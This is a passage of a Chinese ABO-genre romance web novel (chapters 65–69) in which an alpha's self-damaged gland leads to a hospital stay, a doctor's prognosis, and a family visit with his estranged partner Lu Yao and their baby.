傅晏淮也有些无奈,早在最开始决定用自己的腺体/液做诱导剂的时候,他就已经有心理准备腺体受伤无法恢复。不过这个情况还是出乎他的意料,而且这个过程也有一些太难熬了。 无论怎么样,傅晏淮都是作为s级alpha,作为京城的天之骄子顺风顺水一路走到现在。对于这个身份的即将逝去,要说傅晏淮完全不在意,那也是不可能的。 傅晏淮有点遗憾,但他更加遗憾不能去公司。 这可能是他作为s级alpha最后一次去傅氏集团的机会,以后再回去,他就不会再有腺体了。 这会是一个相当轰动的新闻,所有明里暗里蠢蠢欲动的对手都会伺机而出,准备给傅晏淮和傅氏集团致命一击。那时的情况应该会很艰难,毕竟等级压制是绝对的。 但他现在的情况去公司相当于提前宣布这件事,傅晏淮想想也只能算了。 傅晏淮不太想去医院,就算去了也很难更改回转这个过程。与其增添更多不必要的麻烦和痛苦,傅晏淮更愿意自己一个人消化这个即将到来的残酷事实。 感受腺体逐渐枯萎的滋味不太好受,但傅晏淮强迫自己主动接受。 鹿遥到的时候傅晏淮在楼上卧室,管家在地下冰库清点食材,家里没有遇到熟悉的人。 女佣局促地问鹿遥需不需要喝水,鹿遥摇摇头。 “傅总呢?他去医院了吗?” “没有呢。”女佣小心答道,“傅总今天原本要去公司的,可是临出发时身体又有些不舒服,就没有再去。” 鹿遥闻言诧异道,“去公司?昨天他不是还在发烧吗,他好了吗?” 女佣茫然道,“我们也不清楚,傅总不喜欢人过多打扰他。” 鹿遥心里没由来地涌上一股火气,他也说不清自己为什么生气,但总之他现在就是真的很不高兴。 “我上楼去看看,不用叫他。” 女佣完全不敢说话,她看着鹿遥上楼,然后匆匆下去找管家。 鹿遥来到卧室门口,他原本还想要抬手敲门,但他停滞一瞬还是直接把门推开了。 卧室拉着遮光帘,很黑,鹿遥走进去后适应了两秒才勉强能看清里面的景象。 傅晏淮听到声音就紧紧皱起眉,他没有睁开眼睛,只是声音带了很浓的不悦。 “我说了不要随便进来打扰我,听不懂吗?” 鹿遥冷声道,“听不懂。” 傅晏淮听见鹿遥的声音错愕睁开眼,他仓促从床上坐起来,“鹿遥?你怎么忽然…” 鹿遥站在床边,他看不清傅晏淮颈侧的具体情况,但他能看到傅晏淮没有贴纱布,也没有贴腺体贴。 他就站在这里,两人间的距离连一米都没有,可鹿遥什么都没有闻到。 曾经铺天盖地的白冷杉味道好像从来没有存在过,s级alpha有多强势鹿遥是知道的。在他还是beta的时候就能感受到傅晏淮信息素冲刷身体带来的不适,它甚至能让鹿遥二次分化变成omega。 可是现在咫尺之遥,鹿遥什么都没有闻到。 鹿遥的声音变得有些尖锐,“你的腺体怎么了?” 傅晏淮下意识侧过头,“没有,你来是妈妈说了什么吗?我今天不能回老宅了,周末下午或许…” 鹿遥强硬掰过傅晏淮的头,他跪坐在床边死死盯着傅晏淮脖颈上的青紫。 “这算什么。”鹿遥愤怒瞪着傅晏淮,好像这样就能发泄出心中积压已久的郁气。 “这是你对我的补偿吗?弄坏自己的腺体,你觉得你这样我就能原谅你吗,我就应该原谅你吗?!” “我没有。” 傅晏淮的声音听起来有些涩然,“我没有这么想过,鹿遥,对不起,是我对不起你。” “我不要你的道歉!” 鹿遥控制不住地扬起声音,“我要的不是你的道歉!” 他不想要傅晏淮这样,可是他自己也不知道自己想要的究竟是什么。 有水滴砸到了傅晏淮的手背上,傅晏淮心里酸疼交织,他在此刻承认自己的无能。 “我不知道怎么做,你才会高兴一点。” 傅晏淮难过地笑笑,“我该做些什么,你可以告诉我吗。” 第66章 第 66 章 医院 鹿遥嘲讽地垂下眼笑笑, “如果是从前,单单只是听到你对我说这句话,我都会很高兴。” 傅晏淮眼睛一眨不眨地盯着鹿遥看, 心底钝痛和见到鹿遥和欢喜与满足/交织,傅晏淮自责自己又让鹿遥哭了。 “是我的错。”发烧让傅晏淮有些虚弱, 可他舍不得躺下,他怕动作太大会让鹿遥再次离开, “用腺体/液做诱导剂是我自愿的, 这不是用来道歉的筹码, 你不必因为这件事感到为难, 也不需要为此勉强自己原谅。” 鹿遥没有回答傅晏淮的话, 他直接从床边站起身。傅晏淮下意识想要拉住他, 但手伸到半空又硬生生克制地停住。 鹿遥没有理由非要留在这里,傅晏淮不能要求鹿遥再多陪他一会。 傅晏淮哑声开口,“我让司机送你回去吧。” 鹿遥没有离开卧室, 他直接把窗帘拉开, 窗外阳光照进屋内, 过于明亮的光线让傅晏淮不适应地眯了眯眼。 鹿遥脸上还带着隐隐的怒气,傅晏淮有些迷惑地看着他走近,一时没反应过来他想干什么。 这次鹿遥看到了傅晏淮颈侧的伤, 腺体的位置已经紫到发黑, 鹿遥看清上面的针孔后呼吸猛地变得颤抖。 傅晏淮过了两秒才别开眼,“不是很严重,过两天就会好了。” 鹿遥冷声开口,“傅晏淮,你觉得我很像傻子吗?这个样子你告诉我过两天就会好?” 傅晏淮哑口无言,鹿遥深吸口气试图冷静下来, “你起来。” 傅晏淮迟疑问道,“要去哪?” 鹿遥暴躁直接到旁边衣帽间里随手摘下一套休闲服,他把衣服摘下来扔到傅晏淮床上,“起来,去医院。” 傅晏淮看着鹿遥先是错愕,但随即他就无奈解释道,“我腺体的状况我自己很清楚,与其现在提前被迫泄露消息引起动荡,还不如…” 鹿遥抓住傅晏淮睡袍的领口,傅晏淮被迫抬眼看着鹿遥,他清晰看到了鹿遥眼底的愤怒和难过。 “我说,去医院。”鹿遥一字一顿道,“现在就去。” 傅晏淮沉寂已久的心脏开始缓慢地、钝钝地开始跳动起来,受伤蜷缩躲藏起来的野兽到了穷途末路之时不愿意放弃占有觊觎已久的珍宝,他会用一切为人不齿的、令人唾弃的方法,把宝贝重新据为己有。 “那,你愿意陪我去吗?” 短短两月间傅晏淮消瘦了许多,他凸起的颧骨上还在不正常地泛红,他在高烧,腺体损坏,胃部持续痉挛痛处,可傅晏淮的目光却重新变得冷静,和鹿遥记忆中那个绝对的上位者形象相似,却又不同。 傅晏淮没有动,他没有触碰鹿遥,也没有因为他的动作而感到被冒犯,他只是这样深切地与鹿遥长久对视。 鹿遥攥紧衣领的手收紧,“我为什么要陪你去,傅晏淮,你不要得寸进尺。” “我也给不出理由。” 傅晏淮说话的声音不大,接连一周发烧,他只能保持这个语调。 傅晏淮甚至懒得再思考,他遵从本心稍稍向后仰头,他坦荡地承认,“大概是因为我卑劣、无耻、自大又出尔反尔,刚刚说过的话转眼就翻脸不认。我后悔了。” 鹿遥不可置信道,“你在说什么东西…” “我不知道这算不算得上是逼迫。”傅晏淮贪婪地盯住鹿遥,一刻也不愿意将目光从这张他日夜思念的脸上移开,“可我想让你陪我去。” “腺体一点点坏死的感觉还是有点痛的。” 鹿遥僵硬松开手。 “我也应该算是尝试过了beta的生活。”傅晏淮低声道,“有的时候,我也会有一点害怕。” 傅晏淮也会有害怕和脆弱无助的时刻吗?鹿遥不知道,但傅晏淮现在以一种绝对的弱者姿态安静坐在鹿遥面前,鹿遥不知道自己该做出什么反应。 “鹿遥,我真的…我真的好想你…” 鹿遥深吸口气稳定情绪,他缓和几秒后才语气不善地开口,“闭嘴。” 傅晏淮听话地不再说话,他仰头看着鹿遥。 鹿遥定定看着他,“穿衣服,我在楼下等你。别告诉我你现在连楼梯都下不去,走不了路的话那你就一直躺在这吧。” 鹿遥说完话就毫不停顿地关上门离开,傅晏淮看着鹿遥随手拿下来的那套衣服,他拿起到眼前,把脸埋进那套衣服里低低笑了起来。 傅晏淮换好衣服坐到车里时脸色依然非常难看,鹿遥一看见他心里就没由来地一阵烦躁。 傅晏淮不知道是装的还是真的学乖了,他和前几次送鹿遥去医院时表现得一样,和鹿遥保持安全距离,不过分主动开口说话,不给鹿遥压力。 但现在鹿遥就是怎么看他怎么不满意,鹿遥侧过头看着傅晏淮抿唇。 傅晏淮很好脾气地转过去,“怎么了吗。” 鹿遥蹙眉盯着傅晏淮的颈侧,他冷冷开口,“凑近一点。” 傅晏淮求之不得,两人的大腿隔着布料紧贴在一区,但鹿遥没有注意,他专注盯着傅晏淮的腺体。 鹿遥坐上车就把自己的腺体贴撕掉了,他知道自己目前信息素浓度不够,所以提前摘掉让车厢里沾上一点焦糖气味。 鹿遥屏气凝神仔细看了一会,“有没有什么感觉?你有闻到什么吗?” 傅晏淮诚实道,“没有。” 鹿遥的眉头皱得更紧了,他伸手用指尖轻轻按了一下那里,不死心地继续问道,“现在呢?也什么感觉都没有?” 鹿遥指尖温凉,傅晏淮小腹跟着抽动了一下。 “从医学角度上来说,摸一摸可能并不能治愈腺体疾病。但是从个人心理角度出发,这样的确会让心情变得愉悦。” 鹿遥嫌弃吐出两个字,“有病。” 其实刚刚鹿遥按下去的时候腺体有刺痛感,不过傅晏淮不知道这是在变好还是变坏。 鹿遥懒得再理会他,把头转到一边看窗外。 傅晏淮自觉地退回去,他不想惹鹿遥不高兴。 地下停车场到医院检查vip通道有专门的电梯,鹿遥心不在焉地和傅晏淮一起走进去。 鹿遥这一路上一直都在胡思乱想,傅晏淮竟然用自己的腺体/液做诱导剂,现在他的腺体坏了,以后他还能恢复正常生活吗? 他和自己不一样,傅晏淮从来就不是beta,他一直是最高等级的alpha,是生活在金字塔顶端的人。 电梯门开了,傅晏淮低低咳嗽两声,鹿遥回神抬眼看向他。 “既然都已经严重到开始发烧有排异反应,为什么还一直待在家里。” 鹿遥的语气很严肃,“你不知道腺体对身体来说有多重要吗?腺体出现过于严重的疾病是会导致死亡的。” 傅晏淮敛眉垂眼,安静在检查室里坐下。鹿遥站在他身前,傅晏淮这幅样子看着诡异地像个乖巧的大狼狗。 医院里的温度不低,但高烧还是让傅晏淮浑身泛冷,“我不想来。” 傅晏淮眨了眨眼睛,“但是如果是你想要,我愿意听你的话。” “少说废话。”鹿遥可没心情和傅晏淮谈这些有的没的,“我去叫医生。” 傅晏淮接连被鹿遥强硬怼回去,但他脸上一丝不悦之情都没有,他歪靠在椅背上看着鹿遥离开的背影。 傅晏淮暂时还没有考虑过鹿遥得知他腺体坏了会有什么样的反应,但鹿遥刚刚的情绪不像是完全抵触。虽然看着也远没有要原谅他的意思,但鹿遥至少没有抗拒自己的接近。 不管怎么样,这对于现在的傅晏淮来说,的确就是个好消息。 傅晏淮找到助理给他发了个简讯,随后他就把手机收了起来,闭眼靠在椅子里等鹿遥回来。 医生是从诊室里匆匆赶过来的,傅晏淮的腿很长,坐在椅子里腿放不下,不得不伸出去,导致他的姿势看起来很别扭。 鹿遥淡淡把目光收回,一关上门医生就苦笑道,“傅总的腺体我很早之前就提醒过了,小少爷刚出生的前三个月傅总就陆续提取过过腺体/液做安抚剂。正常的腺体/液分泌并没有那么多,只不过s级恢复能力比较好,腺体才保持了正常运转。 现在刚刚过去两个多月就又开始大剂量提取,腺体承受不住是必然的。现在腺体已经大面积功能紊乱,发烧也是连带反应之一,这是我们也没有办法控制的。” 傅晏淮睁开眼睛用腿把椅子往后滑了滑给鹿遥让地方,他事不关己地看着鹿遥和医生对话,姿态甚至有些闲适。 “那如果从现在开始不再提取腺体/液呢?” 鹿遥无知觉地握紧手指,“腺体功能会恢复吗?” “这个…”医生为难道,“需要介入外界治疗,但是s级腺体稀有,普通药剂不一定能产生作用,所以我们要一样一样试过去,再具体调配。” 鹿遥听着忍不住皱眉,“那大概要多久?” 医生诚实道,“至少两个月。在这期间腺体随时都有进一步恶化的可能,就算配合治疗也不一定可以完全达到理想效果,这需要您和傅总都做好心理准备。” 鹿遥难以置信道,“怎么会?我的腺体也是坏了好几个月才开始治疗的,现在也在恢复,为什么他的…” “因为你的诱导剂是傅总的腺体/液制成的。” 医生直白道,“人体是世界上最精妙的仪器,人工辅助手段有时候其实并比不上强大的自愈再生功能。生物联系牵引是最好的恢复方式,恰好傅总的等级又很高,所以您的恢复过程才这么顺利。您直接用药的话也需要慢慢尝试调配剂量,这都是一样的。” 鹿遥渐渐沉默下来,“那现在,就只能这样了吗。” 第67章 第 67 章 住院 医生看看鹿遥, 又看看傅晏淮,他低咳一声,“我们会从现在开始介入药物手段, 还请傅总一定要配合我们。” 傅晏淮看着不是很在意的样子,不过鹿遥就在旁边, 傅晏淮答应得毫无负担,“好。” “还有就是。”医生斟酌着用词, “毕竟鹿先生现在腺体功能已经基本恢复, 虽然还是很脆弱需要小心注意, 但是可以正常释放信息素。” 鹿遥脸色不太好, “你的意思是让我帮助他治疗吗?” 医生赶忙道, “只是配合在固定时间提供具有一定浓度信息素的环境, 当然您如果觉得不方便我们也可以换其他方案。” 傅晏淮淡声开口,“不必麻烦,直接用药剂吧。” 鹿遥忽然扭过头直勾勾盯着他, 傅晏淮心下一紧, 他尽量温柔地低声开口, “怎么了吗?” “你现在是故意在我面前装可怜吗。” 鹿遥浑身竖起倒刺,他对傅晏淮的每一个反应都十分敏感,他难以控制地认为傅晏淮现在所做的一切都是带有目的的。鹿遥不能分辨出傅晏淮要做的事是好还是坏, 他只能无差别地质疑和攻击来试图保护自己。 “故意装成这样, 然后让我陪你一起治疗腺体。” 医生感觉接下来的话他不太适合听,医生默默关门离开。 傅晏淮无奈地轻叹口气,“如果我是故意的话,你会愿意留下来陪我吗?” 鹿遥没有说话,但他紧绷的姿态已经说明他的态度。 傅晏淮看着鹿遥轻声道,“如果故意装可怜就能让你原谅我, 我一定会不择手段这样做。” 鹿遥眼圈微红,他别过头不看傅晏淮让自己平复心绪。 “你回傅家老宅住。”鹿遥稍微调整了一下就藏起自己情绪的波动,“反正现在你住的地方也只有你自己,你可以把管家也带过去。” 傅晏淮狠狠拧起眉,“我没有想要回家让人照顾,你和孩子住在老宅很好,忽然换了生活的地方年年也会不适应。” 鹿遥冷着脸道,“你一直住到身体状况稳定就搬出去。” 傅晏淮愣了一下,随后他意识到了什么心脏怦怦直跳,他抬起头看向鹿遥,“你的意思是,你愿意和我一起住在…” 鹿遥转过身毫不客气道,“你废话太多了。你应该也知道,你不仅是年年的父亲,也是爸爸妈妈的孩子。虽然他们两个嘴上没说,但我能看出来他们都是担心你的。你把腺体弄成这个样子,没有想过妈妈也会跟着难过吗?” 傅晏淮是文筝的孩子,尽管他的所作所为让文筝难以接受,可再怎么说傅晏淮也是她亲生的。鹿遥能明白她的情感,那大概和他看到年年生病时是一样的。 文筝不会主动开口让傅晏淮回去住,但鹿遥相信她一定是想时时得知傅晏淮的近况的。鹿遥不会让文筝在他和傅晏淮之间左右为难,文筝对他这么好,鹿遥不想做不懂事的孩子。 “是我错了。”傅晏淮毫无负担地承认错误,“以后一定不会这样了。” 鹿遥懒得和傅晏淮多说一句话,他直接推门出去。鹿遥应该是在走廊里和医生商量了治疗方案,过了几分钟医生才进来。 “您现在的情况不适宜回家静养了,需要留院观察几天。”医生检查了一下数值严肃道,“我们会先尝试温和一些的试剂进行刺激。” 傅晏淮微微挑起眉,“一定要住院吗?” 医生肯定道,“这是一定的。还有就是您的胃出现了腺体损坏的并发症状,这个要注意一下,如果继续严重下去要做个微创小手术。” 傅晏淮也不知道听没听进去,他点点头,“我知道了。” 傅晏淮这次来医院比以往配合了不止一点半点,医生着实松了口气,“那好,现在就为您准备病房。” 鹿遥没有再留下来陪傅晏淮,他自认为自己已经尽到了自己的责任,再想他接着陪傅晏淮一晚上实在是不可能的事。 鹿遥心情不算很好,车开回傅家老宅,临下车时鹿遥才试着微笑几下,调整好表情才进去。 年年果然坐在客厅里在和文筝一块玩,一见到鹿遥从门口进来,年年眼睛刷地亮起来,肉肉的胳膊举得很高,要鹿遥抱。 鹿遥走过去把年年抱在怀里,年年奶声奶气地哼哼搂紧他的脖子。 鹿遥笑着拍拍年年,随后抬眼略带忐忑地看向文筝。 “妈妈。” 文筝眼见着有些疲色,尽管如此,她还是温柔问鹿遥,“吃东西了吗,饿不饿?厨房留了粥,尝尝吗?” 鹿遥眼眶发热,他低下头掩饰性地去看年年,“我不饿,刚刚…我刚刚陪傅晏淮去医院了。” 鹿遥余光看到文筝抓着玩具的手紧了紧,她故作轻松道,“腺体损坏得很厉害吗?” 鹿遥无措抬起头,虽然并不是他要求傅晏淮这样做,但傅晏淮腺体损坏的确是为了他。 在这一刻,坐在文筝面前,看着这个尽可能给予了自己家庭的温暖和母爱的人,鹿遥非常地难过和愧疚。 “很严重。” 鹿遥有些难开口,可他不能对文筝说谎,“他闻不到我信息素的味道,触碰他的腺体他也没有反应。我…我也闻不到白冷杉的味道了。” 在车上的时候鹿遥故意释放信息素,不仅仅是想验证傅晏淮能不能闻到,更是想感知傅晏淮还能不能自发分泌出信息素。 想起傅晏淮颈侧发黑的淤青和针眼,鹿遥其实有一点点难过,但他强迫自己不要再为了傅晏淮而生出不必要的情感。 文筝手里的玩具掉到地上,年年敏锐察觉到鹿遥和文筝的情绪都不对,他急得仰头嗯嗯啊啊地试图吸引两人注意力。文筝吸了吸鼻子,低头捡起那个玩具。 文筝的声音听起来带了点鼻音,“医生怎么说?” 鹿遥连忙放下年年坐到文筝身边,“医生给了质量方案,是药物和生理刺激一起,只是不知道效果会成什么样。” 鹿遥的声音慢慢低下去,“是我…是我的错。” 他早该意识到的,傅晏淮每次拿药取药都那么古怪,他应该意识到不对劲的。 他不和自己一起坐车回去,骗自己公司有事,他变得比从前瘦很多。鹿遥只要仔细琢磨就能琢磨出不对劲,可他不愿意细想和傅晏淮有关的事。 年年扑腾了几下,文筝和鹿遥都没有哄他,年年有点急了,育婴师从旁边过来想把年年抱走。年年委委屈屈扁起嘴,哇地一声哭了。 鹿遥赶忙侧身去哄他,文筝看着眼眶有点红,但总体表情没有太大变化。 “不是你的错。”文筝并不是在宽慰鹿遥,她平静地陈述事实,“做错了事就要承担代价,所有人都要为自己的行为负责。” 傅晏淮受伤文筝自然会感到难过,但她也不会为了这个就推脱掉傅晏淮的责任。 鹿遥搂紧年年,他垂下眼低声道,“傅晏淮会先住院几天,如果情况没有恶化,我希望他能回老宅来住。” 文筝的神情有些惊讶,鹿遥解释道,“只有管家在身边的话,他对治疗的配合度很低。这里有您和爸爸在,照顾他也更方便一些。” 文筝看着鹿遥复杂道,“这件事我自然是没有什么意见的,只是你。小鹿,你不必勉强自己做什么决定,如果你还没有准备好面对他,那便不必做出让步。” 文筝对鹿遥是真心相待的,“你有选择原谅与不原谅的权利,你吃了很多苦头,不愿意原谅也没什么。” 鹿遥感激又羞愧地笑笑,“谢谢妈妈,我也不知道以后要怎么办,现在我还没办法想这么多。” 文筝当即道,“这是自然,不必做不情愿的事,妈妈只希望你高高兴兴的。” 鹿遥落泪点点头,“我会的。” 今夜是个不眠夜,年年是个没有安全感的宝宝,今天经历了一个小小插曲,晚上他就哭着闹着要鹿遥陪。 正巧今天夏时越临时有事,他又被顾和辰叫回店里不知道做什么。于是鹿遥把年年抱到了自己卧室里,年年幸福滚进鹿遥怀里睡觉。 年年身上有奶粉的香味,混着焦糖信息素,卧室闻起来香香甜甜的。 夏时越后半夜才蹑手蹑脚回到傅家老宅,一进卧室他就凝滞住。 鹿遥侧躺着,手搭在年年后背,一条被子分给年年一小半。年年小屁股撅在外面,睡得脸红扑扑的。 鹿遥哄孩子睡觉时身上有种奇异的母性感,夏时越闻着暖暖的甜香发出感叹,“傅晏淮每天回家就是对着这样的场景不满意吗,怎么会有这么不知足的alpha。” 夏时越放轻动作靠近爬上床,鹿遥感受到动静迷迷糊糊睁开眼。 “时越?” 鹿遥声音还带着半梦半醒的鼻音,“我把年年抱回婴儿房去。” 夏时越连忙制止他,“不用了,就这样睡吧。” 鹿遥清醒了点,“算了,年年晚上睡觉不老实,总是到处滚来滚去。” 夏时越没拦住他,鹿遥小心抱起年年,年年睡得沉,没有醒来。 夏时越疲惫倒进床里,鹿遥很快就从隔壁回来了。 鹿遥打了个呵欠重新钻进被窝,“今天怎么这么晚。” 他小声嘟囔,“我还以为你今晚不回来了。” 夏时越叹了口气,“一言难尽,我怀疑顾和辰就是故意找借口折腾我。哎对了,你今天和傅晏淮去医院了?” 虽然时间不合适,夏时越好奇地没忍住多问了一句,“情况怎么样?” 鹿遥眼皮渐渐沉下去,他的声音变小,“他在住院,过几天会回来养伤。”?! 夏时越不可置信地瞪大眼睛,什么,怎么回事! 刚刚过了一天,怎么傅晏淮就要回来了? 天杀的巧言令色going纯情小鹿的alpha! 第68章 第 68 章 探病 鹿遥边说眼睛一边就要闭上, 夏时越赶忙开口,“那你明天还去医院吗?” 明天? 鹿遥把身体又往被窝里蜷缩了点,他含含糊糊道, “再说吧。” 夏时越松了一口气,随即他就警惕和鹿遥道, “你一个人在医院不方便,你要是去看傅晏淮的话, 我陪你一起去吧?” 鹿遥露在被子外的头发跟着主人上下晃了晃, 夏时越这回安心了。 傅晏淮这个人, 不能怪夏时越心生警惕, 实在是他诡计多端又有前科, 鹿遥又长了一副看起来很好哄骗的样子。 鹿遥还以为自己晚上会睡不好, 但除了半夜夏时越突然回来,可以称得上一夜无梦。 他和夏时越都起晚了,下楼吃饭时年年都已经坐在沙发上看文筝给奶油扎小辫子了。 鹿遥有点心虚地蹲到年年身前, “宝宝昨晚睡得好吗?” 他偷偷把年年抱回婴儿房, 早上也没有喂年年吃饭, 鹿遥观察年年有没有生气。 年年把嘴撅得老高,他哼了一声把脸扭过去不看鹿遥。 虽然是在发脾气,可鹿遥还是觉得很可爱, 他把年年抱起来亲亲, “是爸爸错了,没有陪你吃饭。” 年年小发了一下雷霆,但鹿遥一哄就把他给哄好了,年年乐颠颠抱住鹿遥脖子,咿咿呀呀地婴言婴语。 文筝笑着打趣,“看你, 还说我和他爷爷宠孩子,你也快把年年惯得不像样子了。” 鹿遥清清嗓子,“有吗?” 鹿遥知道自己一对着年年就容易心软,他想干什么鹿遥都会没有底线地退让。 实在是生产后分别的四个月太让鹿遥后怕,看见年年现在每天生龙活虎的鹿遥就已经很高兴了。 “把孩子放下去吃饭吧。”文筝的责备都带着关切,“早上不吃都要饿坏了。” 鹿遥把年年放进婴儿座椅里,阿姨把饭菜摆上。 “妈妈,我想,今天带着年年去一趟医院。” 鹿遥犹豫再三,还是试探地对文筝和夏时越开口,“去看看就回来。” 夏时越当即道,“我也要去。” 文筝还没来得及说话,夏时越先看向文筝征询意见,“文阿姨,我也去,行吗?” 文筝惊讶道,“当然可以。” 夏时越当即道,“谢谢文阿姨。” 文筝失笑,“这谢什么。” 她给奶油扎完小辫子又不放心地叮嘱,“最近换季流感多,年年刚刚发烧过,不然看看给他戴个口罩。也不要待太长时间,医院病人不少,不要又传染上了。” 仅仅一个晚上,文筝看起来心态就已经恢复平常,至少看起来不再有任何异样。 鹿遥咽下嘴里的汤回头,“妈妈不去吗?” 文筝愣住,鹿遥要去探望傅晏淮,这实在是很好的和傅晏淮相处的机会,文筝没想着要和鹿遥一起去。 但是,她也的确很久没见到傅晏淮了。 夏时越眼睛一亮,“是啊文阿姨,您也去吧,不然小鹿带着年年,还怕顾不过来呢。” 这话一出文筝能下定决心了,年年还小,的确离不开人。 “那好。”文筝站起身,“我去换身衣服。” 鹿遥吃完就开始准备带年年出门要拿的东西,虽然只出去几个小时,但零零总总还是塞满了一个包。 鹿遥最后拿出口罩尝试给年年戴上。婴儿口罩小小的一个,但年年不太喜欢,一戴上他就伸手乱扯要摘下去。 “忍一忍,回家再摘,好不好?”鹿遥耐心哄他,“生病了会很难受的。” 年年不要,他左右晃头很不高兴。 鹿遥无奈又拿了下来,“好吧,到医院再戴上吧。” 鹿遥抱起年年上车,年年坐在婴儿座椅里体验到了众星拱月的感觉,大家都围着他转。 年年的情绪被哄得很好,他原本就不是喜欢哭闹的孩子,现在高兴起来配合度变得非常高。鹿遥给他戴口罩年年还是不要,但略微哄了哄就不乱动了。 鹿遥觉得年年总体来说还是很好带的,大多数时间他都很乖。 傅晏淮昨天被推进隔离病房观察了一整晚,由于他现在免疫力低下,只适宜待在特殊病房里静养,于是他只好百无聊赖躺在病床上闭目养神。 昨天的针剂没有什么效果,现在唯一称得上是好消息的消息就是他的腺体仍然能给出疼痛反应。 腺体会疼,就说明功能还没有全部失效。 傅晏淮以为鹿遥过几天才会来,所以他也没有起床的打算。烧还没退,他头脑有些昏沉,干脆一直半梦半醒躺到现在。 鹿遥抱着年年出现在病房,看到的就是傅晏淮苍白着脸躺在床上的样子。 傅晏淮一直以来出现在鹿遥面前都力求仪容仪表整洁美观,他的脸长得攻击性太强,导致精神抖擞时实在看不出来在生病。 反倒是现在虚弱紧紧闭着眼,鹿遥才真切地意识到,傅晏淮真的生病了,他也需要人的照顾。 文筝显然也从未见过傅晏淮这么脆弱的模样,她忍不住上前一步,高跟鞋的声音把傅晏淮叫醒。 傅晏淮睁开眼侧头,看见门口站着的几个人忍不住愣了愣。 他蹙眉坐起来,“你们要来怎么没说一声。” 文筝连忙坐到床边把傅晏淮按下去,“没说怎么了,不提前预约就不能来看看你吗?” 文筝忍不住埋怨他,“你看你,你,你真是…” 傅晏淮看见了文筝微红的眼圈,他歉疚低声道,“我不是这个意思。” 眼见气氛要失控,鹿遥把年年放到床上,让他对着傅晏淮。 夏时越默默坐到了一边,不打扰家庭的温情时刻。 他来只是为了暗中监视傅晏淮,不让他对鹿遥做一些出格的行为。 文筝掩饰地别开眼,傅晏淮低头和戴着口罩一脸懵的年年对视。 年年慢慢皱起眉毛,他迷惑地打量傅晏淮。 好像有点眼熟,但好像又不认识,而且也没有熟悉的信息素味道。 年年纠结极了,他肥嘟嘟的一小坨坐在那里,头上还带了一个萌萌的小兔子帽子。 傅晏淮在心里默默评价,看起来蠢蠢的。 如果是以前,傅晏淮会光明正大把这句话给说出来。但时代变了,他现在这么说鹿遥会一气之下抱住年年转身就走,所以傅晏淮什么也没说。 鹿遥蹲下身,半搂住年年怕他坐不稳,他扶了扶年年的小兔子耳朵温声开口,“是父亲,年年不记得了吗?” 年年乌黑溜圆的眼睛一直好奇盯着傅晏淮看,对着这双和鹿遥极其相似的眼睛,傅晏淮低垂的眉眼温柔。 “年年和你很像。” 傅晏淮戳了一下年年的脸,“眼睛很漂亮。” 文筝听出来傅晏淮在暗戳戳孔雀开屏,她低咳一声假装给年年整理衣领。 夏时越警惕抬起头,傅晏淮果然在暗中勾引,腺体都坏了还这么不老实! 鹿遥有点别扭,年年戴着口罩和帽子,只有眼睛露在外面。傅晏淮说年年长得像他,又夸年年眼睛漂亮,鹿遥听着怪怪的。 鹿遥高冷地嗯了一声就没再多说,夏时越满意点点头。 傅晏淮也没有再开口,他再想多和鹿遥说话,也不至于在文筝和夏时越面前和鹿遥调/情,而且现在说太多也容易引起反效果,鹿遥还不太爱搭理他呢。 文筝看他们两个不说话,又接着忍不住问他,“腺体怎么样,医生怎么说?昨天住了一天院,情况有没有好一点?” 傅晏淮安慰文筝道,“不会那么快的。医生说腺体现在还能对刺激作出反应,情况还不算最差。” 文筝的心先是提起来后又放下去,最后又这样半吊不吊地悬在半空。 傅晏淮颈侧蒙着纱布,文筝看着有点心疼,“伤口什么样的,我看看。” “刚换完药。”傅晏淮面不改色地搪塞道,“晚上才能拆。” 让文筝看见她只会更难受,在颜色看着不那么骇人之前,傅晏淮不打算再露出来了。 鹿遥闻言也忍不住看着那一大块白纱布,傅晏淮注意到了鹿遥的注视,他不动声色道,“我抱抱年年。” 智商在线的傅总还是很明白做什么才能抓住鹿遥的心的,现在来说,谈情说爱不是最好的选择。展现出自己是个好父亲,年年需要拥有一个幸福的家庭,才是进入鹿遥心门的入场券。 傅晏淮亲近孩子,文筝自然喜闻乐见。她松开手让年年靠在傅晏淮身上,文筝叮嘱道,“小心,别压到针管。” 傅晏淮还在输液,如果年年一坐一定会扯下来的。 鹿遥跟着伸手护了一下,两人之间距离靠近,傅晏淮低着头勾了勾嘴角。 鹿遥和文筝都没看到他脸上的表情,但仰头正对着傅晏淮的年年看到了,他盯着傅晏淮哼哼了两声。 傅晏淮恢复平常神情,他有些生疏但姿势还算正确地把年年抱了起来。 傅晏淮掂了两下沉吟道,“长胖了。” 鹿遥怒瞪他,“是长大了!” 说得好像年年光长肉一样,鹿遥不高兴了,“给我抱吧。” 傅晏淮没有给,他诚恳对鹿遥道歉,“我错了,的确是长大了一些,变重了。” 鹿遥闷闷扭过头,傅晏淮看着他的动作有点眼熟。 年年不高兴的时候好像也是这样,自己气闷坐在一边扭头不吭声。 年年是真的很像鹿遥,傅晏淮觉得不错。 夏时越时刻紧盯两人动向,他清清嗓子站起身,“年年是不是要喝奶了。” 文筝看了眼时间,“是快了。” 傅晏淮识趣地把年年还给鹿遥抱着,鹿遥和他拉开距离,夏时越心气顺了一点。 文筝温声开口,“我抱他去喂奶吧。小鹿和小越去医生那里看看,是不是要换针了。” 第69章 第 69 章 信息素浓度 鹿遥和夏时越刚刚出门, 夏时越就旁敲侧击、模模糊糊地试图问鹿遥。 “傅晏淮,住院要住几天啊。” 鹿遥也不知道,“上次我问医生, 医生说要看具体恢复的情况。现在还是反反复复发烧,也不知道腺体能不能好。” 鹿遥不希望傅晏淮腺体坏掉, 无论出于什么原因,他都希望傅晏淮能健健康康的。 诚实地来说, 夏时越其实也不太希望傅晏淮变成一个beta。一个s级alpha天然带来的优势和资源是所有其他人都比不上的, 现在小鹿有了年年, 理智上来说, 需要为以后做好打算。 但话又说回来, 傅晏淮过得太好夏时越更难受。凭什么鹿遥遭了这么大一遍罪, 傅晏淮还天天高枕无忧的。 夏时越也跟着犯愁地叹了口气,眼见着医生办公室还有一段距离,夏时越思来想去还是停下脚。 “小鹿。” 夏时越叫住鹿遥, 他神色犹豫, 但还是开口问道, “你…你想原谅他吗。” 紧接着夏时越就意识到现在说这些对鹿遥来说可能太仓促了,他想了想换了个说法,“或者, 每天和他生活在一起, 会不会觉得为难。” “我知道你想说什么。” 鹿遥对夏时越低声道,“再给我一点时间吧,再让我…” 再让他审视一下自己,究竟能不能放下这段过去。 “好。”夏时越过去安慰鹿遥,“只要你不是觉得为难,那就怎么样都好。” 鹿遥抬眼看着夏时越, 